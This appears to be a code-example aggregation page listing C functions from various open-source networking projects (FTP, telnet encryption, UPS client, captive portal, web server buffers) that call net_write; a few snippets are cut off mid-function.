Esempio n. 1
0
bool tcp_write (const s32 s, const u8 *buffer, const u32 length) {
    const u8 *p;
    u32 step, left, block, sent;
    s64 t;
    s32 res;

    step = 0;
    p = buffer;
    left = length;
    sent = 0;

    t = gettime ();
    while (left) {
        if (ticks_to_millisecs (diff_ticks (t, gettime ())) >
                TCP_BLOCK_SEND_TIMEOUT) {

            printf ("tcp_write timeout\n");
            break;
        }

        block = left;
        if (block > 2048)
            block = 2048;

        res = net_write (s, p, block);

        if ((res == 0) || (res == -56)) {
            usleep (20 * 1000);
            continue;
        }

        if (res < 0) {
            printf ("net_write failed: %d\n", res);
            break;
        }

        sent += res;
        left -= res;
        p += res;

        if ((sent / TCP_BLOCK_SIZE) > step) {
            t = gettime ();
            step++;
        }
    }

    return left == 0;
}
Esempio n. 2
0
void
encrypt_send_support(void)
{
	if (str_suplen) {
		/*
		 * If the user has requested that decryption start
		 * immediatly, then send a "REQUEST START" before
		 * we negotiate the type.
		 */
		if (!Server && autodecrypt)
			encrypt_send_request_start();
		net_write(str_send, str_suplen);
		printsub('>', &str_send[2], str_suplen - 2);
		str_suplen = 0;
	}
}
/*
 * FtpSendCmd - send a command and wait for expected response
 *
 * return 1 if proper response received, 0 otherwise
 */
static int FtpSendCmd(const char *cmd, char expresp, netbuf *nControl) {
    char buf[256];

    if (nControl->dir != FTPLIB_CONTROL)
        return 0;
    if (ftplib_debug > 2)
        fprintf(stderr, "%s\n", cmd);
    if ((strlen(cmd) + 3) > sizeof(buf))
        return 0;
    sprintf(buf, "%s\r\n", cmd);
    if (net_write(nControl->handle, buf, strlen(buf)) <= 0) {
        perror("write");
        return 0;
    }
    return readresp(expresp, nControl);
}
Esempio n. 4
0
static void net_send_conf_chan(int fd)
{
	struct net_conf_chan nc;

	nc.proto.version = PROTO_VERSION;
	nc.proto.type	= PROTO_CONF_CHAN;
	nc.do_change = conf.do_change_channel;
	nc.upper = conf.channel_max;
	nc.channel = conf.channel_idx;
	nc.width_ht40p = conf.channel_width;
	if (conf.channel_ht40plus)
			nc.width_ht40p |= NET_WIDTH_HT40PLUS;

	nc.dwell_time = htole32(conf.channel_time);

	net_write(fd, (unsigned char *)&nc, sizeof(nc));
}
Esempio n. 5
0
static void daemon_printf( const char *format, ... )
{
	va_list ap;
	char buf[BUFFERSIZE];
	int size;

	va_start( ap, format );
	size = vsnprintf( buf, sizeof(buf), format, ap );
	va_end( ap );
	if (size < 0) {
		printf("vsnprintf() error!\n");
		return;
	} else if (size >= BUFFERSIZE) {
		printf("vsnprintf() full!\n");
		return;
	}
	net_write(buf, size);
}
Esempio n. 6
0
static int
get_entropy(int fd, void *data, size_t len)
{
    unsigned char msg[2];

    assert(len <= MAX_EGD_DATA);

    msg[0] = 0x02; /* read blocking data */
    msg[1] = len; /* wanted length */

    if (net_write(fd, msg, sizeof(msg)) != sizeof(msg))
        return 0;

    if (net_read(fd, data, len) != len)
        return 0;

    return 1;
}
Esempio n. 7
0
static void admin_write(gchar * fmt, ...)
{
	char buff[ADMIN_BUFSIZE];
	va_list ap;

	strncpy(buff, "admin ", ADMIN_PREFIX_LEN);

	if (!_admin_session) {
		admin_open_session();
	}

	va_start(ap, fmt);
	g_vsnprintf(&buff[ADMIN_PREFIX_LEN],
		    ADMIN_BUFSIZE - ADMIN_PREFIX_LEN, fmt, ap);
	va_end(ap);

	net_write(_admin_session, buff);
}
static int
dns_cache_print(void *voiddata, SYS_NETFD fd)
{
#ifdef DEBUG_CACHES	/* XXXhep this causes ball of string effect */
	dns_cache_entry_t *data = (dns_cache_entry_t *)voiddata;
	char buf[MAX_DEBUG_LINE];
	int len;

	if (!dns_cache || !data)
		return 0;

	len = util_snprintf(buf, MAX_DEBUG_LINE,  "%s %d\n",
		data->host?data->host:"null", data->ip);
	net_write(fd, buf,len);
#endif /* DEBUG_CACHES */

	return 0;
}
Esempio n. 9
0
int
replace_cookie(int xserver, int fd, char *filename, int cookiesp) /* XXX */
{
     u_char beg[12];
     int bigendianp;
     unsigned n, d, npad, dpad;
     FILE *f;
     u_char zeros[6] = {0, 0, 0, 0, 0, 0};

     if (net_read (fd, beg, sizeof(beg)) != sizeof(beg))
	  return 1;
     if (net_write (xserver, beg, 6) != 6)
	  return 1;
     bigendianp = beg[0] == 'B';
     if (bigendianp) {
	  n = (beg[6] << 8) | beg[7];
	  d = (beg[8] << 8) | beg[9];
     } else {
	  n = (beg[7] << 8) | beg[6];
	  d = (beg[9] << 8) | beg[8];
     }
     if (n != 0 || d != 0)
	  return 1;
     f = fopen(filename, "r");
     if (f != NULL) {
	 Xauth *auth = find_auth_cookie (f);
	 u_char len[6] = {0, 0, 0, 0, 0, 0};

	 fclose (f);

	 if (auth != NULL) {
	     n = auth->name_length;
	     d = auth->data_length;
	 } else {
	     n = 0;
	     d = 0;
	 }
	 if (bigendianp) {
	     len[0] = n >> 8;
	     len[1] = n & 0xFF;
	     len[2] = d >> 8;
	     len[3] = d & 0xFF;
	 } else {
Esempio n. 10
0
// Write our message to the server
static s32 send_message(s32 server, char *msg)
{
	s32 bytes_transferred = 0, remaining = strlen(msg);
	s64 t = gettime();
	while (remaining)
	{
		if((bytes_transferred = net_write(server, msg, remaining > NET_BUFFER_SIZE ? NET_BUFFER_SIZE : remaining)) > 0)
		{
			remaining -= bytes_transferred;
			usleep (20 * 1000);
			t = gettime();
		}
		else if(bytes_transferred < 0) return bytes_transferred;

		if(ticks_to_millisecs(diff_ticks(t, gettime())) > TCP_TIMEOUT)
			break;
	}
	return 0;
}
Esempio n. 11
0
static void
fatal (int sock, const char *what, const char *m, ...)
{
    va_list args;
    char buf[BUFSIZ];
    size_t len;

    *buf = 1;
    va_start(args, m);
    len = vsnprintf (buf + 1, sizeof(buf) - 1, m, args);
    len = min(len, sizeof(buf) - 1);
    va_end(args);
    if(what != NULL)
	syslog (LOG_ERR, "%s: %s: %s", what, strerror(errno), buf + 1);
    else
	syslog (LOG_ERR, "%s", buf + 1);
    net_write (sock, buf, len + 1);
    exit (1);
}
Esempio n. 12
0
int
auth_sendname(unsigned char *cp, int len)
{
	static unsigned char str_request[256+6]
			= { IAC, SB, TELOPT_AUTHENTICATION, TELQUAL_NAME, };
	unsigned char *e = str_request + 4;
	unsigned char *ee = &str_request[sizeof(str_request)-2];

	while (--len >= 0) {
		if ((*e++ = *cp++) == IAC)
			*e++ = IAC;
		if (e >= ee)
			return(0);
	}
	*e++ = IAC;
	*e++ = SE;
	net_write(str_request, e - str_request);
	printsub('>', &str_request[2], e - &str_request[2]);
	return(1);
}
Esempio n. 13
0
int conn_update_write(struct conn_t *conn) {
#if(_debug_)
  log_dbg("socket writeable!");
#endif
  
  if (conn->write_pos == 0) {
    int err;
    socklen_t errlen = sizeof(err);
    if (getsockopt(conn->sock, SOL_SOCKET, SO_ERROR, 
		   &err, &errlen) || (err != 0)) {
      log_err(errno, "not connected");
      conn_finish(conn);
      return -1;
    } else {
#if(_debug_)
      /*log_dbg("RESETTING non-blocking");*/
#endif
      /*if (ndelay_off(conn->sock) < 0) {
	log_err(errno, "could not un-set non-blocking");
	}*/
    }
  }
  
  if (conn->write_pos < conn->write_buf->slen) {
    int ret = net_write(conn->sock, 
			conn->write_buf->data + conn->write_pos,
			conn->write_buf->slen - conn->write_pos);
    if (ret > 0) {
      /*log_dbg("write: %d bytes", ret);*/
      conn->write_pos += ret;
    } else if (ret < 0 || errno != EWOULDBLOCK) {
#if(_debug_)
      log_dbg("socket closed!");
#endif
      conn_finish(conn);
      return -1;
    }
  } 
  
  return 0;
}
Esempio n. 14
0
/**
 * \brief a printf-like function for sending data to the services uplink
 * socket
 * \param format Format string
 * \param ... Variable-argument list
 */
void
sSend(char *format, ...)
{
	char sBuffer[IRCBUF];
	va_list stuff;

	/*
	 * set things up to print into the buffer.  Up to sizeof(sBuffer) - 2 is
	 * used (well, -3, since vsnprintf saves room for the \0 as well) and
	 * the \r\n is appended using strcat.
	 */
	va_start(stuff, format);
	vsnprintf(sBuffer, sizeof(sBuffer) - 3, format, stuff);
	va_end(stuff);

	/*
	 * Append a \r\n to the buffer, and send it to the server
	 */
	strcat(sBuffer, "\r\n");	/* strcat is safe */
#if 0
	printf("Writing: %s\n", sBuffer);
#endif
	if (server != -1) {		
		if (net_write(server, sBuffer, strlen(sBuffer)) == -1) {
			if (errno == EPIPE || errno == EBADF || errno == EINVAL ||
	                    errno == EFAULT) {
	                    logDump(corelog, "Terminating on write error, errno=%d", errno);

			    close(server);
			    server = -1;
	                    sshutdown(0);
	                }
		}
	} else {
		logDump(corelog, "[ServerFd=-1] sSend : %s", sBuffer);
	}

#ifdef DEBUG
	printf("-> %s\n", sBuffer);
#endif
}
Esempio n. 15
0
int upscli_disconnect(UPSCONN_t *ups)
{
	if (!ups) {
		return -1;
	}

	if (ups->upsclient_magic != UPSCLIENT_MAGIC) {
		return -1;
	}

	pconf_finish(&ups->pc_ctx);

	free(ups->host);
	ups->host = NULL;

	if (ups->fd < 0) {
		return 0;
	}

	net_write(ups, "LOGOUT\n", 7);

#ifdef HAVE_SSL
	if (ups->ssl) {
		SSL_shutdown(ups->ssl);
		SSL_free(ups->ssl);
		ups->ssl = NULL;
	}

	if (ups->ssl_ctx) {
		SSL_CTX_free(ups->ssl_ctx);
		ups->ssl_ctx = NULL;
	}
#endif

	shutdown(ups->fd, shutdown_how);

	close(ups->fd);
	ups->fd = -1;

	return 0;
}
Esempio n. 16
0
static int
net_send_conf_filter(int fd)
{
	struct net_conf_filter nc;
	int i;

	nc.proto.version = PROTO_VERSION;
	nc.proto.type = PROTO_CONF_FILTER;

	for (i = 0; i < MAX_FILTERMAC; i++) {
		memcpy(nc.filtermac[i], conf.filtermac[i], MAC_LEN);
		nc.filtermac_enabled[i] = conf.filtermac_enabled[i];
	}
	memcpy(nc.filterbssid, conf.filterbssid, MAC_LEN);
	nc.filter_pkt = htole32(conf.filter_pkt);
	nc.filter_mode = htole32(conf.filter_mode);
	nc.filter_off = conf.filter_off;

	net_write(fd, (unsigned char *)&nc, sizeof(nc));
	return 0;
}
Esempio n. 17
0
void sm_set_use_cache(StateMachine * sm, gboolean use_cache)
{
	if (sm->use_cache == use_cache)
		return;

	if (!use_cache) {
		/* The cache is turned off, send the delayed data */
		GList *list = sm->cache;
		while (list) {
			gchar *data = list->data;
			net_write(sm->ses, data);
			list = g_list_remove(list, data);
			g_free(data);
		}
		sm->cache = NULL;
	} else {
		/* Be sure that the cache is empty */
		g_assert(!sm->cache);
	}
	sm->use_cache = use_cache;
}
Esempio n. 18
0
/*
 * FtpWrite - write to a data connection
 */
GLOBALDEF int FtpWrite (void *buf, int len, netbuf *nData) {
    int i;
    if (nData->dir != FTPLIB_WRITE)
        return 0;
    if (nData->buf)
        i = writeline((char *) buf, len, nData);
    else {
        socket_wait(nData);
        i = net_write(nData->handle, buf, len);
    }
    if (i == -1)
        return 0;
    nData->xfered += i;
    if (nData->idlecb && nData->cbbytes) {
        nData->xfered1 += i;
        if (nData->xfered1 > nData->cbbytes) {
            nData->idlecb(nData, nData->xfered, nData->idlearg);
            nData->xfered1 = 0;
        }
    }
    return i;
}
Esempio n. 19
0
/*
 * TASK to handle an incoming request
 */
int server_request (void *parm)
{
  SERVERPARM *s;
  DBUF *req, *res;
  char *curl;

  s = (SERVERPARM *) parm;
  curl = xml_get_text (s->xml, "Phineas.Console.Url");
  res = NULL;
  while ((req = server_receive (s->conn)) != NULL)
  {
    debug ("received %d bytes\n", dbuf_size (req));
    if (dbuf_size (req) == 0)
    {
      dbuf_free (req);
      net_close (s->conn);
      return (-1);
    }
    dbuf_putc (req, 0);
    /*
     * log the request, but filter out GET requests for the console... 
     * noise
     */
    if (!(*curl && strstarts (dbuf_getbuf (req) + 4, curl)))
      server_logrequest (s->conn, dbuf_size (req), dbuf_getbuf (req));
    if ((res = server_response (s->xml, dbuf_getbuf (req))) == NULL)
    {
      res = server_respond (500,
	    "<h3>Failure processing ebXML request</h3>");
    }
    server_header (res);
    net_write (s->conn, dbuf_getbuf (res), dbuf_size (res));
    dbuf_free (res);
    dbuf_free (req);
  }
  net_close (s->conn);
  debug ("request completed\n");
  return (0);
}
Esempio n. 20
0
/**
 * NSAPI write filter method. Calls OutputStream.write or net_write in response
 * to a net_write, etc. call.
 */
extern "C" int j2eefilter_method_write(FilterLayer* layer, const void* buf, int amount)
{
    J2EEFilterContext* context = (J2EEFilterContext*) layer->context->data;

    j2eefilter_migrate_response(layer->context->rq, context);

    if (!context->outputstream) {
        j2eefilter_flush_dirty(context);
        return net_write(context->parent_sn->csd, buf, amount);
    }

    if (!context->throwable) {
        // Ensure we have a Java byte array big enough to hold all of buf
        if (context->bytearray_length < amount) {
            j2eefilter_destroy_bytearray(context);
            j2eefilter_create_bytearray(context, amount);
        }
        PR_ASSERT(context->bytearray_length >= amount);
    }

    if (!context->throwable) {
        // Call OutputStream.write
        context->env->SetByteArrayRegion(context->bytearray, 0, amount, (jbyte*) buf);
        context->env->CallVoidMethod(context->outputstream, _outputstream_write, context->bytearray, 0, amount);

        // Remember any OutputStream.write exception
        j2eefilter_store_throwable(context);
    }

    if (context->throwable) {
        // Propagate exception information to NSAPI land
        JException jexc(context->env, context->throwable);
        NsprError::setErrorf(PR_IO_ERROR, "%s, %s", jexc.toString(), jexc.getMessage());
        return -1;
    }

    return amount;
}
Esempio n. 21
0
s32 Network_Write(void *buf, u32 len) {
    s32 ret, written = 0;
    
    /* Data to be written */
    for (written = 0; written < len; written += ret) {
        u32 size;
        
        /* Size to read */
        size = len - written;
        if (size > BLOCK_SIZE) {
            size = BLOCK_SIZE;
        }

        /* Write network data */
        ret = net_write(sockfd, buf + written, size);
        if (ret < 0) return ret;

        /* Write finished */
        if (!ret) break;
    }
    
    return written;
}
Esempio n. 22
0
static void
setup_copier (int have_errsock)
{
    int p0[2], p1[2], p2[2];
    pid_t pid;

    pipe_a_like(p0);
    pipe_a_like(p1);
    pipe_a_like(p2);
    pid = fork ();
    if (pid < 0)
	fatal (STDOUT_FILENO, "fork", "Could not create child process.");
    if (pid == 0) { /* child */
	close (p0[1]);
	close (p1[0]);
	close (p2[0]);
	dup2 (p0[0], STDIN_FILENO);
	dup2 (p1[1], STDOUT_FILENO);
	dup2 (p2[1], STDERR_FILENO);
	close (p0[0]);
	close (p1[1]);
	close (p2[1]);
    } else { /* parent */
	close (p0[0]);
	close (p1[1]);
	close (p2[1]);

	if (net_write (STDOUT_FILENO, "", 1) != 1)
	    fatal (STDOUT_FILENO, "net_write", "Write failure.");

	rshd_loop (STDIN_FILENO, p0[1],
	      STDOUT_FILENO, p1[0],
	      STDERR_FILENO, p2[0],
	      have_errsock);
    }
}
Esempio n. 23
0
int upscli_sendline(UPSCONN *ups, const char *buf, size_t buflen)
{
	int	ret;

	if (!ups)
		return -1;

	if ((!buf) || (buflen < 1) || (ups->fd == -1)) {
		ups->upserror = UPSCLI_ERR_INVALIDARG;
		return -1;
	}

	if (!upscli_checkmagic(ups)) {
		ups->upserror = UPSCLI_ERR_INVALIDARG;
		return -1;
	}

	ret = net_write(ups, buf, buflen);

	if (ret < 0)
		return -1;

	return 0;
}
Esempio n. 24
0
static int
eval_parent(pid_t pid)
{
    struct command *c;
    char in;
    size_t len = 0;
    ssize_t sret;

    for (c = commands; c != NULL; c = c->next) {
	switch(c->type) {
	case CMD_EXPECT:
	    if (verbose)
		printf("[expecting %s]", c->str);
	    len = 0;
	    alarm(timeout);
	    while((sret = read(master, &in, sizeof(in))) > 0) {
		alarm(timeout);
		printf("%c", in);
		if (c->str[len] != in) {
		    len = 0;
		    continue;
		}
		len++;
		if (c->str[len] == '\0')
		    break;
	    }
	    alarm(0);
	    if (alarmset == SIGALRM)
		errx(1, "timeout waiting for %s (line %u)",
		     c->str, c->lineno);
	    else if (alarmset)
		errx(1, "got a signal %d waiting for %s (line %u)",
		     (int)alarmset, c->str, c->lineno);
	    if (sret <= 0)
		errx(1, "end command while waiting for %s (line %u)",
		     c->str, c->lineno);
	    break;
	case CMD_SEND:
	case CMD_PASSWORD: {
	    size_t i = 0;
	    const char *msg = (c->type == CMD_PASSWORD) ? "****" : c->str;

	    if (verbose)
		printf("[send %s]", msg);

	    len = strlen(c->str);

	    while (i < len) {
		if (c->str[i] == '\\' && i < len - 1) {
		    char ctrl;
		    i++;
		    switch(c->str[i]) {
		    case 'n': ctrl = '\n'; break;
		    case 'r': ctrl = '\r'; break;
		    case 't': ctrl = '\t'; break;
		    default:
			errx(1, "unknown control char %c (line %u)",
			     c->str[i], c->lineno);
		    }
		    if (net_write(master, &ctrl, 1) != 1)
			errx(1, "command refused input (line %u)", c->lineno);
		} else {
		    if (net_write(master, &c->str[i], 1) != 1)
			errx(1, "command refused input (line %u)", c->lineno);
		}
		i++;
	    }
	    break;
	}
	default:
	    abort();
	}
    }
    while(read(master, &in, sizeof(in)) > 0)
	printf("%c", in);

    if (verbose)
	printf("[end of program]\n");

    /*
     * Fetch status from child
     */
    {
	int ret, status;

	ret = waitpid(pid, &status, 0);
	if (ret == -1)
	    err(1, "waitpid");
	if (WIFEXITED(status) && WEXITSTATUS(status))
	    return WEXITSTATUS(status);
	else if (WIFSIGNALED(status)) {
	    printf("killed by signal: %d\n", WTERMSIG(status));
	    return 1;
	}
    }
    return 0;
}
Esempio n. 25
0
int main(int argc, char **argv) {
  int status;
  int idx;
  int active_last = 0;
  int active = 0;

  struct redir_t *redir;

  int keep_going = 1;
  int reload_config = 0;

  uint8_t hwaddr[6];
  struct ifreq ifr;

  int selfpipe;
  
  int fd = socket(AF_INET, SOCK_DGRAM, 0);

  options_init();

  chilli_signals(&keep_going, &reload_config);
  
  process_options(argc, argv, 1);
  
  safe_strncpy(ifr.ifr_name, _options.dhcpif, sizeof(ifr.ifr_name));

#ifdef SIOCGIFHWADDR  
  if (ioctl(fd, SIOCGIFHWADDR, (caddr_t)&ifr) == 0) {
    memcpy(hwaddr, ifr.ifr_hwaddr.sa_data, PKT_ETH_ALEN);
  } else {
    log_err(errno, "could not get MAC address");
    return -1;
  }
#endif  

  close(fd);
  
  /* create an instance of redir */
  if (redir_new(&redir, &_options.uamlisten, _options.uamport, 
#ifdef ENABLE_UAMUIPORT
		_options.uamuiport
#else
		0
#endif
		)) {
    log_err(0, "Failed to create redir");
    return -1;
  }
  
  if (redir_listen(redir)) {
    log_err(0, "Failed to create redir listen");
    return -1;
  }

  redir_set(redir, hwaddr, (_options.debug));
  redir_set_cb_getstate(redir, sock_redir_getstate);
  
  redir->cb_handle_url = redir_handle_url;

  if (net_select_init(&sctx))
    log_err(errno, "select init");

  selfpipe = selfpipe_init();

  /* epoll */
  net_select_addfd(&sctx, selfpipe, SELECT_READ);
  net_select_addfd(&sctx, redir->fd[0], SELECT_READ);
  net_select_addfd(&sctx, redir->fd[1], SELECT_READ);

  if (_options.gid && setgid(_options.gid)) {
    log_err(errno, "setgid(%d) failed while running with gid = %d\n", 
	    _options.gid, getgid());
  }
  
  if (_options.uid && setuid(_options.uid)) {
    log_err(errno, "setuid(%d) failed while running with uid = %d\n", 
	    _options.uid, getuid());
  }

  while (keep_going) {

    /* select/poll */
    net_select_zero(&sctx);
    net_select_fd(&sctx, selfpipe, SELECT_READ);
    net_select_fd(&sctx, redir->fd[0], SELECT_READ);
    net_select_fd(&sctx, redir->fd[1], SELECT_READ);
  
    active = 0;

    if (reload_config) {
      reload_options(argc, argv);
      reload_config = 0;

      redir_set(redir, hwaddr, _options.debug);
    }

    for (idx=0; idx < max_requests; idx++) {

      conn_select_fd(&requests[idx].conn, &sctx);

      if (requests[idx].inuse && requests[idx].socket_fd) {
	time_t now = mainclock_tick();
	int fd = requests[idx].socket_fd;
	int timeout = 60;

	if (now - requests[idx].last_active > timeout) {
	  log_dbg("timeout connection %d", idx);
	  redir_conn_finish(&requests[idx].conn, &requests[idx]);
	} else {
	  int evt = SELECT_READ;
	  timeout = 0;
	  if (conn_write_remaining(&requests[idx].conn))
	    evt |= SELECT_WRITE;
	  net_select_fd(&sctx, fd, evt);
	  active++;
	}
	
#if(_debug_ > 1)
	if (_options.debug) {
	  struct sockaddr_in address;
	  socklen_t addrlen = sizeof(address);
	  
	  if (getpeername(fd, (struct sockaddr *)&address, 
			  &addrlen) >= 0) {
	    char line[512];
	    
	    safe_snprintf(line, sizeof(line),
			  "#%d (%d) %d connection from %s %d",
			  timeout ? -1 : active, fd, 
			  (int) requests[idx].last_active,
			  inet_ntoa(address.sin_addr),
			  ntohs(address.sin_port));
	    
	    if (requests[idx].conn.sock) {
	      addrlen = sizeof(address);
	      if (getpeername(requests[idx].conn.sock,
			      (struct sockaddr *)&address,
			      &addrlen) >= 0) {
		safe_snprintf(line+strlen(line),
			      sizeof(line)-strlen(line),
			      " to %s %d",
			      inet_ntoa(address.sin_addr),
			      ntohs(address.sin_port));
	      }
	    }
	    
	    if (timeout) {
	      safe_snprintf(line+strlen(line), 
			    sizeof(line)-strlen(line),
			    " (timeout)");
	    }

	    log_dbg("%s", line);
	  }
	}
#endif
      }
    }

    if (active != active_last) {
      log_dbg("active connections: %d", active);
      active_last = active;
    }
    
    status = net_select(&sctx);
    
#if defined(USING_POLL) && defined(HAVE_SYS_EPOLL_H) && (_debug_ > 1)
    if (_options.debug && status > 0) {
      int i;
      log_dbg("epoll %d", status);
      for (i=0; i < status; i++) {
	log_dbg("epoll fd %d %d", 
		sctx.events[i].data.fd, 
		sctx.events[i].events);
      }
    }
#endif

    switch (status) {
    case -1:
      log_err(errno, "select() returned -1!");
      break;  

    default:
      if (status > 0) {

	if (net_select_read_fd(&sctx, selfpipe)==1) {
	  chilli_handle_signal(0, 0);
	}
	
	if (redir->fd[0])
	  if (net_select_read_fd(&sctx, redir->fd[0])==1 && 
	      redir_accept2(redir, 0) < 0)
	    log_err(0, "redir_accept() failed!");
	
	if (redir->fd[1])
	  if (net_select_read_fd(&sctx, redir->fd[1])==1 && 
	      redir_accept2(redir, 1) < 0)
	    log_err(0, "redir_accept() failed!");
      
	for (idx=0; idx < max_requests; idx++) {

	  /*
	   *  Update remote connections with activity
	   */
	  conn_select_update(&requests[idx].conn, &sctx);

	  /*
	   *  Check client connections with activity
	   */
	  if (requests[idx].inuse && requests[idx].socket_fd) {
	    int fd = requests[idx].socket_fd;
	    
#ifdef HAVE_SSL
	    if (requests[idx].sslcon) {
	      if (openssl_check_accept(requests[idx].sslcon, 0) < 0) {
		log_dbg("ssl error %d", errno);
		redir_conn_finish(&requests[idx].conn, &requests[idx]);
		continue;
	      }
	    }
#endif

	    switch (net_select_write_fd(&sctx, fd)) {
	    case 1:
	      log_dbg("client writeable");
	      redir_cli_rewrite(&requests[idx], &requests[idx].conn);
	      break;
	    }
	    
	    switch (net_select_read_fd(&sctx, fd)) {
	    case -1:
	      log_dbg("EXCEPTION");
	      redir_conn_finish(&requests[idx].conn, 
				&requests[idx]);
	      break;

	    case 1:
	      {
		if (requests[idx].proxy) {
		  char b[PKT_MAX_LEN];
		  int r;
		  
#ifdef HAVE_SSL
		  if (requests[idx].sslcon) {
		    /*
		      log_dbg("proxy_read_ssl");
		    */
		    r = openssl_read(requests[idx].sslcon, 
				     b, sizeof(b)-1, 0);
		  } else
#endif
		    r = safe_read(fd, b, sizeof(b)-1);
		  
		  /*
		    log_dbg("proxy_read: %d %d", fd, r);
		  */
		  
		  if (r <= 0) {

		    log_dbg("recv %d %d %d", r, 
			    requests[idx].conn.read_buf->slen -
			    requests[idx].conn.read_pos,
			    errno);

		    if (!(r == -1 && 
			  (errno == EWOULDBLOCK || errno == EAGAIN))) {
		      if (redir_cli_rewrite(&requests[idx], 
					    &requests[idx].conn) == 0) {
			log_dbg("done reading and writing");
			redir_conn_finish(&requests[idx].conn, 
					  &requests[idx]);
		      }
		    }
		    
		  } else if (r > 0) {

		    int w;
		    requests[idx].last_active = mainclock_tick();
		    w = net_write(requests[idx].conn.sock, b, r);
		    
		    /*
		      log_dbg("proxy_write: %d", w);
		    */
		    if (r != w) {
		      log_err(errno, "problem writing what we read from client");
		      redir_conn_finish(&requests[idx].conn, 
					&requests[idx]);
		    }
		  }
		  
		} else {
#ifdef HAVE_SSL
		go_again:
#endif
		  switch (redir_main(redir, fd, fd, 
				     &requests[idx].conn.peer,
				     &requests[idx].baddr, 
				     requests[idx].uiidx, 
				     &requests[idx])) {
		  case 1:
		    /*log_dbg("redir cont'ed");*/
#ifdef HAVE_SSL
		    if (requests[idx].sslcon && 
			openssl_pending(requests[idx].sslcon) > 0) {
		      log_dbg("ssl_pending, trying again");
		      goto go_again;
		    }
#endif
		  break;
		  case -1: 
		    log_dbg("redir error");
		  default:
		    log_dbg("redir completed");
		    redir_conn_finish(&requests[idx].conn, 
				      &requests[idx]);
		    break;
		  }
		}
	      }
	      break;
	    }
	  }
	}
      }
      
      break;
    }
  }

  redir_free(redir);

  child_killall(SIGKILL);

  selfpipe_finish();
  
  return 0;
}
Esempio n. 26
0
static ssize_t
fd_store(krb5_storage * sp, const void *data, size_t size)
{
    return net_write(FD(sp), data, size);
}
Esempio n. 27
0
int
fb64_is(unsigned char *data, int cnt, struct fb *fbp)
{
	unsigned char *p;
	int state = fbp->state[DIR_DECRYPT-1];

	if (cnt-- < 1)
		goto failure;

	switch (*data++) {
	case FB64_IV:
		if (cnt != sizeof(Block)) {
			if (encrypt_debug_mode)
				printf("CFB64: initial vector failed on size\r\n");
			state = FAILED;
			goto failure;
		}

		if (encrypt_debug_mode)
			printf("CFB64: initial vector received\r\n");

		if (encrypt_debug_mode)
			printf("Initializing Decrypt stream\r\n");

		fb64_stream_iv((void *)data, &fbp->streams[DIR_DECRYPT-1]);

		p = fbp->fb_feed + 3;
		*p++ = ENCRYPT_REPLY;
		p++;
		*p++ = FB64_IV_OK;
		*p++ = IAC;
		*p++ = SE;
		printsub('>', &fbp->fb_feed[2], p - &fbp->fb_feed[2]);
		net_write(fbp->fb_feed, p - fbp->fb_feed);

		state = fbp->state[DIR_DECRYPT-1] = IN_PROGRESS;
		break;

	default:
		if (encrypt_debug_mode) {
			printf("Unknown option type: %d\r\n", *(data-1));
			printd(data, cnt);
			printf("\r\n");
		}
		/* FALL THROUGH */
	failure:
		/*
		 * We failed.  Send an FB64_IV_BAD option
		 * to the other side so it will know that
		 * things failed.
		 */
		p = fbp->fb_feed + 3;
		*p++ = ENCRYPT_REPLY;
		p++;
		*p++ = FB64_IV_BAD;
		*p++ = IAC;
		*p++ = SE;
		printsub('>', &fbp->fb_feed[2], p - &fbp->fb_feed[2]);
		net_write(fbp->fb_feed, p - fbp->fb_feed);

		break;
	}
	return(fbp->state[DIR_DECRYPT-1] = state);
}
/*
 * perform netbuf_buf2sd in a timely manner enforcing a timeout handling
 * the netbuf_grab() that can potentially receive just one char at a time
 * it can go on for a long time -- potentially leading to tying the thread 
 * resources to the request forever.
 *
 * timeout can be PR_INTERVAL_NO_TIMEOUT -- no timeout will be enforced.
 */
NSAPI_PUBLIC int netbuf_buf2sd_timed(netbuf *buf, 
                        SYS_NETFD sd, int len, PRIntervalTime timeout)
{
    register int n = len, t, ns;

    ns = 0;

    register PRIntervalTime start = 0;

    /* Note the starting time */
    if (timeout != PR_INTERVAL_NO_TIMEOUT)
        start = PR_IntervalNow();

    /* First, flush the current buffer */
    t = buf->cursize - buf->pos;

    if((n != -1) && (t > n))
        t = n;
    if((t) && (sd != SYS_NET_ERRORFD)) {
#if defined(OSF1) || defined(HPUX) || defined(SNI)
      OSF_label1:
#endif
        if(net_write(sd, (char *)&buf->inbuf[buf->pos], t) == IO_ERROR) {
#if defined(OSF1) || defined(HPUX) || defined(SNI)
            if(errno == EINTR) goto OSF_label1;
#endif
            buf->errmsg = system_errmsg();
            return IO_ERROR;
        }
        ns += t;
    }
    buf->pos += t;

    if(n != -1) {
        n -= t;
        if(!n)
            return ns;
    }
    else 
        t = buf->maxsize;

    /* Now, keep blasting until done */

    while(1) {
        /* Check to see if this client is taking too long to process */
        if (timeout != PR_INTERVAL_NO_TIMEOUT && 
                    PR_IntervalNow() > (start + timeout)) {
            PR_SetError(PR_IO_TIMEOUT_ERROR, 0);
            buf->errmsg = system_errmsg();
            return IO_ERROR;
        }

        if(n != -1)
            t = (n < buf->maxsize ? n : buf->maxsize);

#if defined(OSF1) || defined(HPUX) || defined(SNI)
      OSF_label2:
#endif
        switch(netbuf_grab(buf, t)) {
          case IO_ERROR:
#if defined(OSF1) || defined(HPUX) || defined(SNI)
            if(errno == EINTR) goto OSF_label2;
#endif
            return IO_ERROR;
          case IO_EOF:
            if(n == -1)
                return ns;
            else {
                PR_SetError(PR_END_OF_FILE_ERROR, 0);
                buf->errmsg = system_errmsg();
                return IO_ERROR;
            }
          default:
            if(sd != SYS_NET_ERRORFD) {
#if defined(OSF1) || defined(HPUX)
              OSF_label3:
#endif
                if(net_write(sd, (char *)(buf->inbuf), buf->cursize) == IO_ERROR) {
#if defined(OSF1) || defined(HPUX)
                    if(errno == EINTR) goto OSF_label3;
#endif
                    buf->errmsg = system_errmsg();
                    return IO_ERROR;
                }
                buf->pos += buf->cursize;
                ns += buf->cursize;
            }
            if(n != -1) {
                n -= buf->cursize;
                if(!n)
                    return ns;
            }
            break;
        }
    }
}
/* cache_dump()
 * A generic routine to dump a cache to a socket
 */
NSAPI_PUBLIC int
cache_dump(cache_t *cache, char *cache_name, SYS_NETFD fd)
{
#ifdef DEBUG_CACHES /* XXXrobm this causes ball of string effect */
	char buf[MAX_DEBUG_LINE];
	cache_entry_t *ptr;
	int index, len;

	NS_ASSERT(cache_crit);
	NS_ASSERT(cache);
	NS_ASSERT(cache_name);

	if (!cache_crit)
		return -1;

	crit_enter(cache->lock);
	len = util_sprintf(buf, XP_GetClientStr(DBT_H2SCacheH2N_), cache_name);
	net_write(fd, buf, len);
